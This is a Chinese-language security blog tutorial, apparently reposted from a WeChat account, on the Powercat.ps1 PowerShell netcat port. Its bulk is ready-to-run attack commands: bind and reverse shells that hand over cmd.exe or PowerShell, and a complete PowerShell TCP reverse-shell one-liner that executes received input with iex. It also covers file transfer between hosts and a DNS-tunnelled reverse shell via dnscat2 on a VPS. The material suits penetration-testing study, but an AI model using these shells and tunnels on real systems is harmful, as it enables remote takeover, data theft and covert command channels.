技术干货 | Powercat.ps1脚本的用法

admin 2022年1月13日00:59:54评论166 views字数 2915阅读9分43秒阅读模式

技术干货 | Powercat.ps1脚本的用法

技术干货 | Powercat.ps1脚本的用法
技术干货 | Powercat.ps1脚本的用法

目录

PowerCat的用法:
    正向连接
    反向连接
    Windows之间互弹shell
方法一:
    Powercat传输文件
方法二:
    PowerCat进行DNS隧道通信

PowerCat的用法

技术干货 | Powercat.ps1脚本的用法


参数的意义-l    监听一个连接                       -c   连接到一个监听 -p   指定端口 -e   指定一个程序执行 -ep  执行Powershell       -v   显示详细信息     -r   Relay. Format: "-r tcp:10.1.1.1:443"                 [String] -u   Transfer data over UDP.                              [Switch] -dns  Transfer data over dns (dnscat2).                   [String] -dnsft   DNS Failure Threshold.                           [int32] -t    Timeout optionDefault: 60                         [int32] -i    InputFilepath (string), byte arrayor string.    [object] -o    Console Output Type: "Host", "Bytes", or "String"   [String] -of   Output File Path.                                   [String] -d    Disconnect after connecting.                        [Switch] -rep  RepeaterRestart after disconnecting.              [Switch] -g    Generate Payload.                                   [Switch] -ge   Generate Encoded Payload.                           [Switch] -h    打印出帮助



由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

正向连接

Windows上的powercat正向连接Kali上的nc
Kali(192.168.10.11):    
nc -lvp 8888

Windows:     

Import-Module .powercat.ps1powercat -c 192.168.10.11 -p 8888 -e cmd.exe

技术干货 | Powercat.ps1脚本的用法




反向连接

Kali上的nc反向连接Windows上的powercat

Kali:

   nc 192.168.10.1 8888 -vv

Windows(192.168.10.1):

 Import-Module .powercat.ps1 powercat -l -p 8888 -e cmd.exe -v

技术干货 | Powercat.ps1脚本的用法




Windows之间互弹shell
方法一:

服务器监听(192.168.10.1):

Import-Module .powercat.ps1powercat -l -p 8888

客户端连接:    

Import-Module .powercat.ps1powercat -c 192.168.10.1 -p 8888 -ep

技术干货 | Powercat.ps1脚本的用法

方法二:

服务器监听(192.168.10.1): 

Import-Module .powercat.ps1powercat -l -p 8888

客户端连接:

.reverse.ps1

其中,reverse.ps1 脚本的内容如下:

$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes0$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


技术干货 | Powercat.ps1脚本的用法




Powercat传输文件
此时,即使文件传输完毕,连接也不会自动断开,需要手动断开。
接收端:Windows10(192.168.10.1)
Import-Module .powercat.ps1powercat -l -p 8888 -of test.txt -v
发送端:Windows7(192.168.10.130)
  Import-Module .powercat.ps1  powercat -c 192.168.10.1 -p 8888 -i C:UsersxieDesktoptest.txt -v

技术干货 | Powercat.ps1脚本的用法




PowerCat进行DNS隧道通信
PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat。所以,在使用DNS隧道通信前,需要在我们的VPS上安装dnscat。

安装dnscat

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install

技术干货 | Powercat.ps1脚本的用法

安装完dnscat后,在VPS上执行如下命令:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

技术干货 | Powercat.ps1脚本的用法

在Windows上执行如下命令:

powercat -c 192.168.10.11 -p 53 -dns ttpowercat.test -e cmd.exe

技术干货 | Powercat.ps1脚本的用法

然后我们的Kali上就能收到反弹过来的shell了。
执行 session -i 1 进入反弹过来的shell中,就可以执行whoami等系统命令了。

技术干货 | Powercat.ps1脚本的用法




注:在执行完powercat的命令后,还需要按enter键,对面才能接收到shell

PowerCat是Netcat的Powershell版本,作者是这么介绍的,项目地址:https://github.com/besimorhino/powercat

技术干货 | Powercat.ps1脚本的用法

本文始发于微信公众号(安世加):技术干货 | Powercat.ps1脚本的用法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月13日00:59:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术干货 | Powercat.ps1脚本的用法http://cn-sec.com/archives/521075.html

发表评论

匿名网友 填写信息